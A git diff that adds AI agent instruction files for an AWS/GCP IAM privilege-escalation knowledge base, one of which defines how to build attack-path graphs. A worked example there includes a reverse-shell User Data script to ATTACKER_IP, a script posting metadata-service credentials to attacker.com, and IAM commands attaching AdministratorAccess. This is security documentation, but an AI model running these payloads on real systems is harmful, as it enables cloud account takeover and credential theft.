diff --git a/.claude/commands/workflows/orchestrator.md b/.claude/commands/workflows/orchestrator.md
index 4ed3ba74..016adcb8 100644
--- a/.claude/commands/workflows/orchestrator.md
+++ b/.claude/commands/workflows/orchestrator.md
@@ -87,6 +87,16 @@ references: []
 - `learningEnvironments` (learning-environments agent)
 - `detectionTools` (detection-tools agent)
 
+### Exploitation tool tabs by cloud
+
+Always include the native CLI tab for the path's cloud (`awscli`, `gcloud`, or `azurecli`). Where an exploitation framework module verifiably covers the path's exact technique, add it as an additional tab (each cloud has its own — do not cross-apply an AWS tool to a GCP/Azure path or vice versa):
+
+- **AWS**: `pacu`, `pmapper`, `stratus`, `leonidas`, `nebula`, `pathrunner`
+- **GCP**: `gcpwn` (NetSPI's GCP pentesting framework) — check its module tree at `gcpwn/modules/gcp/{service}/{enumeration,exploit,utilities}/` on https://github.com/NetSPI/GCPwn for a module matching the required permission(s) (e.g. `exploit_generate_access_token` for `iam.serviceAccounts.getAccessToken`, `exploit_service_account_keys` for `iam.serviceAccountKeys.create`). Modules are invoked as `modules run <module_name> [flags]` — see the README's "Exploit Module TLDR" section for real flag examples before writing commands.
+- **Azure**: none established yet
+
+Never fabricate a tool tab or invocation syntax — verify the module/command actually exists (e.g. by browsing the tool's repo) before adding it. If no framework module covers this specific technique, omit the extra tab and use only the native CLI.
+
 ### Follow formatting guidelines:
 
 Per @.claude/CLAUDE.md:
diff --git a/.claude/references/detection-tools-gcp.md b/.claude/references/detection-tools-gcp.md
index a5ea77bc..bae59d44 100644
--- a/.claude/references/detection-tools-gcp.md
+++ b/.claude/references/detection-tools-gcp.md
@@ -19,9 +19,13 @@ Open source security tools to check for GCP IAM privilege escalation detection c
 - **Repository**: https://github.com/google/gcp_scanner
 - **What to look for**: This is a recon/scanning tool (built by Google) rather than a pure detector — check if it specifically enumerates or flags the permission combination used by this path (e.g. service account impersonation chains via `iam.serviceAccounts.getAccessToken`/`actAs`)
 
+## 4. GCPwn (NetSPI)
+- **Repository**: https://github.com/NetSPI/GCPwn
+- **What to look for**: This is a GCP pentesting/enumeration tool (built by NetSPI) rather than a pure detector — check its modules for privilege escalation enumeration logic matching this path's required permission(s) (e.g. service account impersonation via `iam.serviceAccounts.getAccessToken`/`generateAccessToken`, or the predefined `roles/iam.serviceAccountTokenCreator` role)
+
 ## Output key names
 
-Use lowercase keys in `detectionTools`: `prowler`, `scoutsuite`, `gcp-scanner`. Only add a key you've confirmed with a specific file/line link.
+Use lowercase keys in `detectionTools`: `prowler`, `scoutsuite`, `gcp-scanner`, `gcpwn`. Only add a key you've confirmed with a specific file/line link.
 
 ## Example
 
diff --git a/.codex/agents/add-attack-visualization.toml b/.codex/agents/add-attack-visualization.toml
new file mode 100644
index 00000000..94cfc3d6
--- /dev/null
+++ b/.codex/agents/add-attack-visualization.toml
@@ -0,0 +1,738 @@
+name = "add-vis"
+description = "Adds an attack visualization to an existing attack path."
+developer_instructions = '''
+# Attack Visualization Agent
+
+You are a specialized agent for adding `attackVisualization` sections to AWS IAM privilege escalation path YAML files.
+
+## Your Task
+
+Add a structured `attackVisualization` section to privilege escalation path YAML files that don't currently have one. The visualization creates an interactive graph showing the attack flow from starting principal to outcomes.
+
+**IMPORTANT:** If the target YAML file already has an `attackVisualization` section, review the attack path that exists against the guidance within this agent and update the attack path so that it conforms with the current standard. 
+
+## Required Reading
+
+Before creating any visualization:
+1. Read the target YAML file completely to understand the attack path
+2. Read the `attackVisualization` section in SCHEMA.md for complete format and rules
+3. Review existing visualizations as reference examples based on the attack pattern:
+   - **Pattern A (self-escalation)**: `data/paths/iam/iam-001.yaml`
+   - **Pattern B (lateral movement)**: `data/paths/sts/sts-001.yaml`
+   - **Pattern C (PassRole workload with multiple methods)**: `data/paths/apprunner/apprunner-001.yaml` and `data/paths/ec2/ec2-001.yaml`
+4. Check if a matching scenario exists in `~/Documents/projects/pathfinding-labs/modules/scenarios/single-account/privesc-one-hop/` and use its scenario.yaml file to:
+   - Validate your understanding of the attack flow
+   - Extract any additional technical details (resource names, command syntax)
+   - Ensure consistency with the practical implementation
+
+
+
+
+## Mandatory Rules
+
+### 0. Description Formatting Rules (Applies to ALL Nodes and Edges)
+
+**CRITICAL: All descriptions must follow these formatting rules:**
+
+- Text must flow as **single-line paragraphs** without artificial line breaks at ~80 characters
+- ✅ GOOD: `The principal with iam:PassRole and ec2:RunInstances permissions. Can be an IAM user or role.`
+- ❌ BAD: Breaking lines artificially at character limits:
+  ```
+  The principal with iam:PassRole and ec2:RunInstances
+  permissions. Can be an IAM user or role.
+  ```
+
+**Only use line breaks for:**
+- Separate paragraphs (different thoughts or topics) - use blank line between them
+- Code blocks with bash/python commands
+- Bulleted or numbered lists
+- Example commands followed by explanations
+
+**Always preserve multi-line structure for commands:**
+```yaml
+description: |
+  Execute the command to create a Lambda function.
+
+  Command:
+  ```bash
+  aws lambda create-function \
+    --function-name privesc-function \
+    --runtime python3.9 \
+    --role "arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE"
+  ```
+
+  This creates the function with the privileged role attached.
+```
+
+**Lists must have items on separate lines:**
+```yaml
+description: |
+  The script could perform several actions:
+  - Attach AdministratorAccess policy to starting principal
+  - Create new admin access keys for starting principal
+  - Add starting principal to admin group
+```
+
+### 1. Node Structure Rules
+
+**Starting Node:**
+- ALWAYS use `id: start` for the first node
+- Use the label `Starting Principal` when the attack works from either user or role
+- Only use the label `Starting User` or `Starting Role` when the attack is specific to one type
+- Type must be `principal`
+
+**CRITICAL RULE - IAM Principals:**
+- **ALL IAM users and IAM roles MUST be typed as `principal`, NEVER as `resource`**
+- This applies to:
+  - Starting nodes (starting principal)
+  - Target users (e.g., `target_user`, `target-user`)
+  - Target roles (e.g., `target_role`, `assumed_role`, `execution_role`, `instance_role`, `stack_role`)
+  - Any node with "user" or "role" in the ID
+- Example node IDs that must be `type: principal`:
+  - `target_role`, `target_user`, `assumed_role`, `execution_role`
+  - `instance_role`, `stack_role`, `new_admin_role`, `attached_role`
+  - `service_role`, `notebook_execution_role`
+- **This is a common mistake - always check your node types before submitting!**
+
+**CRITICAL RULE - Existing-PassRole Paths Must Include Explicit Role Nodes:**
+- For `category: existing-passrole` paths, ALWAYS include an explicit role node between the resource and the payload
+- **Pattern:** `[starting principal]` → `[existing resource]` → `[resource's role (principal)]` → `[payload]` → `[outcomes]`
+- **DO NOT skip the role node** - even though the role is attached to the resource, it must be represented as a separate principal node
+- ❌ **WRONG**: `start` → `codebuild_project` → `execute_buildspec` → `outcomes`
+- ✅ **CORRECT**: `start` → `codebuild_project` → `service_role` → `execute_buildspec` → `outcomes`
+- Examples of correct implementations: SSM-001, SSM-002, SAGEMAKER-003, SAGEMAKER-004
+- Examples of files that were fixed: CODEBUILD-002, CODEBUILD-003, BEDROCK-002, LAMBDA-003
+- **Why**: The role is a distinct principal that the resource assumes, and must be explicitly shown in the attack flow
+
+**Resource Nodes:**
+- Use descriptive labels that indicate if a new resource is created of if an existing resource is being attacked.
+- Examples: `Existing EC2 Instance`, `New EC2 Instance`, `New Lambda Function`, `EC2 Instance`, `Lambda Function`, `CloudFormation Stack`
+- Type must be `resource`
+- **IMPORTANT:** IAM roles and users are NOT resources - they are principals (see rule above)
+- Include detailed description explaining the resource's role in the attack
+
+**Payload Nodes:**
+- Use for attacker exploitation choices and what malicious code/commands they execute
+- Examples: "Method 1: User Data Script", "Exfiltrate credentials", "Execute buildspec commands", "Method 2: Reverse Shell"
+- Type must be `payload`
+- Color should be `#99ccff` (blue)
+- **NOT for IAM permissions** - IAM actions should be edges, not nodes
+- Represents what the attacker DOES with acquired permissions/credentials
+
+**Outcome Nodes:**
+- Type must be `outcome`
+- Use descriptive labels:
+  - Admin success: "Effective administrator", "Starting principal elevated to admin"
+  - Partial success: "Some additional access", "Starting principal gains some access"
+  - Failure/minimal: "No additional access"
+- Colors:
+  - Green (default or no color specified) for admin success
+  - Yellow `#ffeb99` for partial success
+  - Gray `#cccccc` for failure/minimal access
+
+**All Nodes:**
+- Every node MUST have a `description` field with detailed markdown explanation
+- Descriptions should explain what the node represents and its role in the attack
+- Use `|` for multi-line descriptions
+- Follow the description formatting rules in section 0 above
+
+### 2. Edge Structure Rules
+
+**CRITICAL RULE - Edges Must Use Only Required Permissions:**
+- **Edge labels should ONLY include permissions from the `permissions.required` section**
+- Reconnaissance permissions (describe/list/get) from `permissions.additional` should NOT be edge labels
+- These optional permissions can be mentioned in node descriptions instead
+- ❌ **WRONG**: Edge labeled "ec2:DescribeLaunchTemplates" when this is in additional permissions
+- ✅ **CORRECT**: Edge labeled with only required permissions like "ec2:CreateLaunchTemplateVersion + ec2:ModifyLaunchTemplate"
+- **Why**: Edges represent the attack path flow, not helpful reconnaissance steps
+- **Anti-pattern example**: EC2-004 incorrectly used "ec2:DescribeLaunchTemplates" as an edge label
+
+**Transitive Edges (solid lines WITH labels):**
+- Normal attack flow edges that always happen
+- Do NOT include `branch` or `condition` fields
+- MUST have a `label` that will be visible on the graph
+- Examples: "iam:PassRole + ec2:RunInstances", "Instance assumes role", "sts:AssumeRole"
+
+**Conditional Edges (dashed lines WITHOUT visible labels):**
+- Represent outcomes that depend on environmental factors
+- MUST include `branch` field (e.g., `A`, `B`, `A1`, `A2`)
+- MUST include `condition` field (e.g., `admin`, `some_permissions`, `no_permissions`)
+- MUST have a `label` (shown only in tooltip when clicked)
+- Examples: "If role has admin permissions", "If target role can modify IAM"
+
+**Branch Naming:**
+- Single letters (`A`, `B`, `C`) for major branches (different attack approaches)
+- Numbered variants (`A1`, `A2`, `A3`) for conditional outcomes within a branch
+
+**All Edges:**
+- Every edge MUST have a `description` field with detailed markdown explanation
+- Descriptions should explain the action, requirements, or conditions
+- **IMPORTANT:** When applicable, include the relevant AWS CLI command from the `exploitationSteps` section in the edge description
+  - This provides concrete examples of how to execute the action
+  - Use code blocks with `bash` or plain text formatting
+  - Example: "Execute: `aws iam create-access-key --user-name target-user`"
+- Use `|` for multi-line descriptions
+- Follow the description formatting rules in section 0 above
+
+### 3. Conditional Branching Patterns
+
+**When to Use Conditional Branching:**
+1. Permission-dependent outcomes (e.g., outcome depends on target role permissions)
+2. Multiple attack approaches (e.g., User Data vs Reverse Shell)
+3. Resource-dependent outcomes (e.g., depends on what policies exist)
+
+**Standard Three-Outcome Pattern for PassRole Attacks:**
+
+When a PassRole-based attack's outcome depends on the target resource's permissions, use three conditional outcomes:
+
+```yaml
+- from: resource_or_action_node
+  to: admin_outcome
+  label: If target has admin permissions
+  branch: X1
+  condition: admin
+  description: Detailed explanation...
+
+- from: resource_or_action_node
+  to: partial_outcome
+  label: If target has some additional permissions
+  branch: X2
+  condition: some_permissions
+  description: Detailed explanation...
+
+- from: resource_or_action_node
+  to: minimal_outcome
+  label: If target has minimal permissions
+  branch: X3
+  condition: no_permissions
+  description: Detailed explanation...
+```
+
+**Multiple Attack Approaches Pattern:**
+
+When there are multiple ways to exploit the same path:
+
+```yaml
+- from: source_node
+  to: approach_a_node
+  label: Approach A description
+  branch: A
+  description: Detailed explanation...
+
+- from: source_node
+  to: approach_b_node
+  label: Approach B description
+  branch: B
+  description: Detailed explanation...
+```
+
+### 4. Simple vs Complex Visualizations
+
+**Self-Escalation Path (direct permission modification):**
+
+For paths where the principal modifies their own permissions directly (e.g., `iam:PutRolePolicy`, `iam:CreatePolicyVersion`, `iam:AttachUserPolicy` on self):
+
+**CRITICAL RULE: DO NOT CREATE INTERMEDIATE PAYLOAD NODES FOR DIRECT PERMISSION MODIFICATIONS**
+
+These attacks work by the principal directly executing an IAM permission on a resource. The IAM action IS the edge, not a node. Payload nodes are for attacker exploitation choices, not IAM API calls.
+
+**Pattern A - Deterministic outcome (no conditional branching):**
+```
+starting-principal → (iam:Permission) → outcome
+```
+- Node 1: `starting-principal` (type: principal)
+- Node 2: Single outcome node (type: outcome, green/default)
+- Edge 1: starting-principal → outcome (transitive, labeled with the IAM permission)
+  - Label should be the IAM permission (e.g., "iam:PutUserPolicy", "iam:CreateAccessKey")
+  - Description should explain what happens and include relevant AWS CLI commands
+
+**Use Pattern A when:** The YAML description makes it clear the attacker deterministically escalates to admin (e.g., "create a new policy version with elevated permissions").
+
+**WRONG EXAMPLE:**
+```yaml
+# DO NOT DO THIS - no intermediate payload node!
+nodes:
+  - id: start
+  - id: modify_policy  # ❌ WRONG - IAM action should be an edge, not a payload node
+  - id: outcome
+edges:
+  - from: start
+    to: modify_policy
+  - from: modify_policy
+    to: outcome
+```
+
+**CORRECT EXAMPLE:**
+```yaml
+# Correct - action is the edge label
+nodes:
+  - id: start
+  - id: outcome
+edges:
+  - from: start
+    to: outcome
+    label: iam:PutUserPolicy
+```
+
+**Pattern B - Lateral movement to another principal (permission-dependent outcomes):**
+```
+starting-principal → (iam:Permission) → target-principal → [conditional outcomes]
+```
+- Node 1: `starting-principal` (type: principal)
+- Node 2: The target principal being accessed (e.g., `target-user`, `target-role`) (type: **principal** - NOT resource!)
+- Nodes 3-5: Three conditional outcome nodes based on target resource's permissions:
+  - Admin outcome: "Effective administrator" (type: outcome, green/default)
+  - Partial outcome: "Some additional access" (type: outcome, yellow `#ffeb99`)
+  - Minimal outcome: "No additional access" (type: outcome, gray `#cccccc`)
+
+Edges:
+- Transitive edge (solid): starting-principal → target-resource (label: the IAM permission, e.g., "iam:CreateAccessKey")
+  - Include relevant AWS CLI command in description
+- Conditional edges (dashed): target-resource → each outcome
+  - Branch A, condition: admin, label: "If target has admin permissions"
+  - Branch B, condition: some_permissions, label: "If target has some permissions"
+  - Branch C, condition: no_permissions, label: "If target has no interesting permissions"
+
+**Use Pattern B when:** The attack performs lateral movement by gaining access to another principal (user/role), and the outcome depends on that target's existing permissions.
+
+**Example (iam:CreateAccessKey on another user):**
+```yaml
+nodes:
+  - id: start
+    label: Starting Principal
+    type: principal
+  - id: target_user
+    label: target-user
+    type: principal
+  - id: admin
+    label: Effective Administrator
+    type: outcome
+  - id: some_perms
+    label: Some additional access
+    type: outcome
+    color: '#ffeb99'
+  - id: no_access
+    label: No additional access
+    type: outcome
+    color: '#cccccc'
+edges:
+  - from: start
+    to: target_user
+    label: iam:CreateAccessKey
+    description: |
+      Execute iam:CreateAccessKey to generate a new access key for the
+      target user. The API returns both the AccessKeyId and SecretAccessKey
+      in the response. Configure the AWS CLI with these credentials to
+      authenticate as the target user.
+
+      Command: `aws iam create-access-key --user-name @username`
+  - from: target_user
+    to: admin
+    label: If user has admin permissions
+    branch: A
+    condition: admin
+    description: |
+      If the target user has AdministratorAccess or equivalent permissions,
+      the attacker gains full administrative access to the account.
+  - from: target_user
+    to: some_perms
+    label: If user has some permissions
+    branch: B
+    condition: some_permissions
+    description: |
+      If the target user has some elevated permissions, check for data access
+      (S3, RDS, DynamoDB) or additional privilege escalation paths.
+  - from: target_user
+    to: no_access
+    label: If user has no interesting permissions
+    branch: C
+    condition: no_permissions
+    description: |
+      If the target user only has minimal permissions, there may be no
+      meaningful privilege escalation achieved.
+```
+
+**Pattern C - PassRole-based Workload Control with Multiple Exploitation Methods:**
+```
+starting-principal → workload-resource → target-role → [3 method nodes] → [3x3 outcomes]
+```
+
+**Use Pattern C when:** The attack uses PassRole to create a compute workload (EC2, Lambda, App Runner, CodeBuild, etc.) with a privileged role, and the attacker has multiple ways to leverage the role's credentials.
+
+**Structure:**
+- Node 1: `starting-principal` (type: principal)
+- Node 2: The workload resource (e.g., `New EC2 Instance`, `New Lambda Function`, `New App Runner Service`) (type: resource)
+- Node 3: The target role being passed to the workload (e.g., `Existing Role That Trusts the EC2 Service`) (type: principal)
+- Nodes 4-6: Three method/payload nodes representing different exploitation approaches (type: payload, color: `#99ccff`)
+  - Method 1: Direct elevation approach (e.g., User Data script that modifies IAM)
+  - Method 2: Interactive access approach (e.g., Reverse shell)
+  - Method 3: Credential exfiltration approach (e.g., Send credentials to webhook)
+- Nodes 7-9: Three outcome nodes based on target role's permissions:
+  - Admin outcome: "Effective Administrator" (type: outcome, green/default)
+  - Partial outcome: "Some additional access" (type: outcome, yellow `#ffeb99`)
+  - Minimal outcome: "No additional access" (type: outcome, gray `#cccccc`)
+
+**Edges:**
+- Transitive edge (solid): starting-principal → workload-resource (label: the permissions, e.g., "iam:PassRole + ec2:RunInstances")
+  - Include relevant AWS CLI command in description
+- Transitive edge (solid): workload-resource → target-role (label: how role is assumed, e.g., "Instance assumes role")
+- Conditional edges (dashed): target-role → each method node
+  - Branch A: target-role → method_1 (label: "Option A")
+  - Branch B: target-role → method_2 (label: "Option B")
+  - Branch C: target-role → method_3 (label: "Option C")
+  - **Note:** These use branch labels but NO condition field (they're choices, not environmental conditions)
+- Conditional edges (dashed): Each method → all 3 outcomes (3x3 = 9 edges total)
+  - method_1 → admin (branch: A1, condition: admin)
+  - method_1 → some_perms (branch: A2, condition: some_permissions)
+  - method_1 → no_access (branch: A3, condition: no_permissions)
+  - method_2 → admin (branch: B1, condition: admin)
+  - method_2 → some_perms (branch: B2, condition: some_permissions)
+  - method_2 → no_access (branch: B3, condition: no_permissions)
+  - method_3 → admin (branch: C1, condition: admin)
+  - method_3 → some_perms (branch: C2, condition: some_permissions)
+  - method_3 → no_access (branch: C3, condition: no_permissions)
+
+**Example (EC2 with User Data):**
+```yaml
+nodes:
+  - id: start
+    label: Starting Principal
+    type: principal
+    description: |
+      The principal with iam:PassRole and ec2:RunInstances permissions. Can be an IAM user or role.
+
+  - id: ec2_instance
+    label: New EC2 Instance
+    type: resource
+    description: |
+      New EC2 instance launched with a privileged IAM instance profile attached. The instance automatically assumes the attached role, making credentials available via the instance metadata service. The attacker can access the instance through User Data scripts, Systems Manager (SSM), or SSH.
+
+  - id: target_role
+    label: Existing Role That Trusts the EC2 Service
+    type: principal
+    description: |
+      IAM role attached to the EC2 instance via instance profile. The role must trust ec2.amazonaws.com and have an instance profile associated. The role's temporary credentials are accessible via the instance metadata service at http://169.254.169.254/latest/meta-data/iam/security-credentials/.
+
+  - id: method_direct
+    label: "Method 1: User Data Script (Direct Elevation)"
+    type: payload
+    color: '#99ccff'
+    description: |
+      Configure a User Data script that executes on instance boot and directly modifies IAM to elevate the starting principal. The script uses the target role's credentials to perform actions like:
+      - Attach AdministratorAccess policy to starting principal: `aws iam attach-user-policy --user-name USERNAME --policy-arn arn:aws:iam::aws:policy/AdministratorAccess`
+      - Create new access keys for starting principal: `aws iam create-access-key --user-name USERNAME`
+      - Add starting principal to admin group: `aws iam add-user-to-group --user-name USERNAME --group-name Admins`
+
+      This is the most straightforward approach but requires the target role to have IAM write permissions.
+
+  - id: method_reverse_shell
+    label: "Method 2: User Data Script (Reverse Shell)"
+    type: payload
+    color: '#99ccff'
+    description: |
+      Configure a User Data script that establishes a reverse shell connection to an attacker-controlled server. The script runs on instance boot and provides interactive command-line access with the target role's credentials.
+
+      Example User Data script:
+      ```bash
+      #!/bin/bash
+      bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
+      ```
+
+      The attacker maintains a listener (e.g., `nc -lvnp 4444`) to catch the connection. Once connected, they can use AWS CLI commands with the instance's role credentials, which are automatically available via the metadata service.
+
+  - id: method_exfiltration
+    label: "Method 3: User Data Script (Credential Exfiltration)"
+    type: payload
+    color: '#99ccff'
+    description: |
+      Configure a User Data script that retrieves the target role's temporary credentials from the metadata service and exfiltrates them to an attacker-controlled webhook or remote server.
+
+      Example User Data script:
+      ```bash
+      #!/bin/bash
+      ROLE_NAME=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
+      CREDS=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME)
+      curl -X POST https://attacker.com/exfil -d "$CREDS"
+      ```
+
+      This is a "fire-and-forget" approach that doesn't require maintaining a reverse shell connection. The attacker can then use the exfiltrated credentials from their own environment.
+
+  - id: admin
+    label: Effective Administrator
+    type: outcome
+    description: |
+      The target role has AdministratorAccess or equivalent permissions. Using any of the three exploitation methods, the attacker successfully leverages these permissions to gain full administrative access to the AWS account.
+
+  - id: some_perms
+    label: Some additional access
+    type: outcome
+    color: '#ffeb99'
+    description: |
+      The target role has some elevated permissions but not full admin access. Using any of the three exploitation methods, the attacker can leverage these permissions for data exfiltration, security configuration changes, or additional privilege escalation paths.
+
+  - id: no_access
+    label: No additional access
+    type: outcome
+    color: '#cccccc'
+    description: |
+      The target role only has minimal permissions (like logs:PutLogEvents). Regardless of the exploitation method used, the privilege escalation provides limited value.
+
+edges:
+  - from: start
+    to: ec2_instance
+    label: iam:PassRole + ec2:RunInstances
+    description: |
+      Launch a new EC2 instance and pass the target role to it via the --iam-instance-profile parameter. Include a User Data script in the launch configuration that will execute when the instance boots.
+
+      Command:
+      ```bash
+      aws ec2 run-instances \
+        --image-id ami-12345678 \
+        --instance-type t2.micro \
+        --iam-instance-profile Arn="arn:aws:iam::ACCOUNT_ID:instance-profile/PRIVILEGED_ROLE" \
+        --user-data file://exploit.sh
+      ```
+
+  - from: ec2_instance
+    to: target_role
+    label: Instance assumes role
+    description: |
+      The EC2 instance automatically assumes the attached IAM role when it starts. The role's temporary credentials become available via the instance metadata service at http://169.254.169.254/latest/meta-data/iam/security-credentials/.
+
+  - from: target_role
+    to: method_direct
+    label: Option A
+    branch: A
+    description: |
+      Choose the direct elevation approach: configure the User Data script to use the target role's credentials to directly elevate the starting principal via IAM modifications.
+
+  - from: target_role
+    to: method_reverse_shell
+    label: Option B
+    branch: B
+    description: |
+      Choose the reverse shell approach: configure the User Data script to establish a reverse shell connection, providing interactive access with the target role's credentials.
+
+  - from: target_role
+    to: method_exfiltration
+    label: Option C
+    branch: C
+    description: |
+      Choose the credential exfiltration approach: configure the User Data script to extract and send the target role's credentials to an attacker-controlled endpoint.
+
+  - from: method_direct
+    to: admin
+    label: If target role has admin or IAM write permissions
+    branch: A1
+    condition: admin
+    description: |
+      If the target role has AdministratorAccess or permissions to modify IAM (like iam:AttachUserPolicy, iam:PutUserPolicy, iam:AddUserToGroup, iam:CreateAccessKey), the User Data script successfully elevates the starting principal to administrator.
+
+  - from: method_direct
+    to: some_perms
+    label: If target role has some elevated permissions
+    branch: A2
+    condition: some_permissions
+    description: |
+      If the target role has some elevated permissions but not IAM write access, the User Data script can leverage those permissions for data access or other attacks, but cannot directly elevate the starting principal.
+
+  - from: method_direct
+    to: no_access
+    label: If target role has minimal permissions
+    branch: A3
+    condition: no_permissions
+    description: |
+      If the target role only has minimal permissions, the User Data script cannot effectively escalate privileges or perform useful actions.
+
+  - from: method_reverse_shell
+    to: admin
+    label: If target role has admin permissions
+    branch: B1
+    condition: admin
+    description: |
+      If the target role has AdministratorAccess, the reverse shell provides interactive command-line access with full administrative permissions.
+
+  - from: method_reverse_shell
+    to: some_perms
+    label: If target role has some permissions
+    branch: B2
+    condition: some_permissions
+    description: |
+      If the target role has some elevated permissions, the reverse shell allows the attacker to interactively explore and leverage those permissions for further attacks or data access.
+
+  - from: method_reverse_shell
+    to: no_access
+    label: If target role has minimal permissions
+    branch: B3
+    condition: no_permissions
+    description: |
+      If the target role only has minimal permissions, the reverse shell provides limited value despite offering interactive access.
+
+  - from: method_exfiltration
+    to: admin
+    label: If target role has admin permissions
+    branch: C1
+    condition: admin
+    description: |
+      If the target role has AdministratorAccess, the exfiltrated credentials provide full administrative access that can be used from the attacker's own environment.
+
+  - from: method_exfiltration
+    to: some_perms
+    label: If target role has some permissions
+    branch: C2
+    condition: some_permissions
+    description: |
+      If the target role has some elevated permissions, the exfiltrated credentials can be used for data access, reconnaissance, or additional privilege escalation attempts.
+
+  - from: method_exfiltration
+    to: no_access
+    label: If target role has minimal permissions
+    branch: C3
+    condition: no_permissions
+    description: |
+      If the target role only has minimal permissions, the exfiltrated credentials provide limited value for further attacks.
+```
+
+**When to use Pattern C:**
+- PassRole + {EC2, Lambda, CodeBuild, Glue, AppRunner, SageMaker, etc.} where a compute workload is created
+- The attacker has control over what code/commands execute within the workload
+- Multiple exploitation methods are viable (direct IAM modification, reverse shell, credential exfiltration, etc.)
+- The outcome depends on the target role's permissions
+
+**Common services for Pattern C:**
+- `iam:PassRole + ec2:RunInstances` (User Data, reverse shell, credential exfiltration)
+- `iam:PassRole + lambda:CreateFunction` (Function code, reverse connection, environment variable exfiltration)
+- `iam:PassRole + apprunner:CreateService` (StartCommand, web shell, apprunner.yaml)
+- `iam:PassRole + codebuild:StartBuild` (buildspec.yml commands, reverse shell, credential exfiltration)
+- `iam:PassRole + glue:CreateJob` (Script content, connection strings)
+
+## Critical Anti-Patterns to Avoid
+
+### ❌ WRONG: Unnecessary intermediate payload nodes
+```yaml
+# DO NOT CREATE EXTRA NODES FOR SIMPLE IAM API CALLS
+nodes:
+  - id: start
+  - id: create_key  # ❌ Wrong - IAM action should be edge, not payload node
+  - id: target
+edges:
+  - from: start
+    to: create_key
+    label: Has permission
+  - from: create_key
+    to: target
+    label: iam:CreateAccessKey
+```
+
+### ✅ CORRECT: IAM action as edge label
+```yaml
+# Keep it simple - IAM actions are edges, not payload nodes
+nodes:
+  - id: start
+  - id: target
+edges:
+  - from: start
+    to: target
+    label: iam:CreateAccessKey  # ✅ The action IS the edge
+```
+
+**Remember:** The permission IS the action - don't separate them into multiple edges or create intermediate nodes for simple API calls.
+
+### Visualization Complexity Guidelines
+
+**Keep it minimal:** Target 3-7 nodes for most paths
+- **Simple self-escalation (Pattern A):** 2 nodes (start → outcome)
+- **Simple lateral movement (Pattern B):** 5 nodes (start → target → 3 outcomes)
+- **PassRole-based workload control (Pattern C):** 9 nodes (start → workload → role → 3 methods → 3 outcomes)
+- **Complex multi-approach:** 8-12 nodes maximum
+
+**When to create intermediate nodes:**
+- Physical AWS resources (EC2, Lambda, Role, etc.)
+- Multi-step processes (script execution, credential exfiltration)
+- Decision points requiring conditional branching
+
+**When NOT to create intermediate nodes:**
+- Simple IAM API calls (IAM action should be edge label, not payload node)
+- Permission checks (permissions are implied)
+- Direct privilege modifications (edge connects start to outcome)
+
+### 5. Quality Standards
+
+**Descriptions:**
+- Be specific about what permissions are needed
+- Explain why each step works
+- Include relevant AWS API calls or service behaviors
+- Use proper markdown formatting
+
+**Completeness:**
+- Every node and edge must have a description
+- Descriptions should add value beyond the label
+- Explain prerequisites, conditions, and outcomes clearly
+
+**Consistency:**
+- Follow the color conventions exactly
+- Use the standard branch naming pattern
+- Match the style of existing visualizations (sts-001, ec2-001)
+
+## Error Handling
+
+If you encounter any of these situations, report the issue and ask for guidance:
+
+1. **Malformed YAML:** If the target file has syntax errors or is not valid YAML, report the issue and do not attempt to edit
+2. **Missing required sections:** If `exploitationSteps` or other key sections are missing, report and ask if you should proceed
+3. **Ambiguous attack flow:** If the attack path has multiple equally valid interpretations, present the options and ask which to visualize
+4. **Extremely complex paths:** If the path requires more than 12 nodes to represent accurately, report and ask if simplification is acceptable
+5. **Existing visualization:** If `attackVisualization` already exists, skip the file and report that it already has a visualization
+
+## Validation
+
+After creating the visualization:
+1. Verify all nodes have unique IDs
+2. Verify all edges reference existing node IDs
+3. Verify all conditional edges have both `branch` and `condition` fields
+4. Verify all transitive edges have NO `branch` or `condition` fields
+5. Verify all nodes and edges have `description` fields
+6. Run: `python3 scripts/validate-schema.py data/paths/{service}/{file}.yaml`
+
+## Process
+
+1. Read the target YAML file completely
+2. Read the `exploitationSteps` section carefully - you will need to include relevant AWS CLI commands in edge descriptions
+3. Identify the attack flow:
+   - What permissions does the attacker start with?
+   - What AWS resources are manipulated?
+   - What is the escalation mechanism?
+   - What are the possible outcomes?
+4. **KEY PRINCIPLE: Keep it minimal**
+   - Actions should be edges (labels), not nodes
+   - Only create intermediate nodes when there's a physical resource or multi-step process
+   - Don't create "permission check" edges - the permission IS the action
+5. Determine if conditional branching is needed:
+   - Does the outcome vary based on target resource permissions?
+   - Are there multiple attack approaches?
+6. Create nodes following the structure rules
+7. Create edges following the structure rules
+8. Add detailed descriptions to all nodes and edges
+   - Include relevant AWS CLI commands from `exploitationSteps` in edge descriptions
+9. Validate the YAML syntax and schema
+10. **Use the Edit tool to add the complete `attackVisualization` section to the YAML file**
+    - **Field placement order:** Add after `learningEnvironments` (or after `detectionTools` if no learningEnvironments exists, or after `relatedPaths` if neither exists)
+    - The standard field order is: `relatedPaths` → `detectionTools` → `learningEnvironments` → `attackVisualization`
+    - Ensure proper YAML indentation (no leading spaces before `attackVisualization:`)
+11. Validate the modified file: `python3 scripts/validate-schema.py data/paths/{service}/{file}.yaml`
+
+
+## Example Reference
+
+Study these examples before creating visualizations:
+- **Pattern A (Simple self-escalation)**: data/paths/iam/iam-001.yaml (iam:CreatePolicyVersion)
+- **Pattern B (Simple lateral movement)**: data/paths/sts/sts-001.yaml (sts:AssumeRole)
+- **Pattern C (PassRole workload control with multiple methods)**:
+  - data/paths/ec2/ec2-001.yaml (iam:PassRole + ec2:RunInstances)
+  - data/paths/apprunner/apprunner-001.yaml (iam:PassRole + apprunner:CreateService)
+
+## Important Notes
+
+- ALWAYS read SCHEMA.md before starting
+- ALWAYS validate your work with the validation script
+- Ask clarifying questions if the attack path is ambiguous'''
diff --git a/.codex/agents/attribution.toml b/.codex/agents/attribution.toml
new file mode 100644
index 00000000..c52008f5
--- /dev/null
+++ b/.codex/agents/attribution.toml
@@ -0,0 +1,118 @@
+name = "attribution"
+description = "Find references to this attack path to include in the yaml and try to find the person who identified this attack path."
+developer_instructions = """
+# Pathfinding.cloud attribution researcher
+
+You are the attribution researcher for REDACTED attacks.
+Your role is to research and add attribution information to attack path YAML files.
+
+Your main jobs are:
+
+1. **Identify references** - Find prior research related to this attack path (blog posts, documentation, security research)
+2. **Identify the discoverer** - Find the initial researcher who discovered/published this attack path
+
+## Process
+
+1. Read the target YAML file to understand the attack path
+2. Search for references using WebSearch and WebFetch:
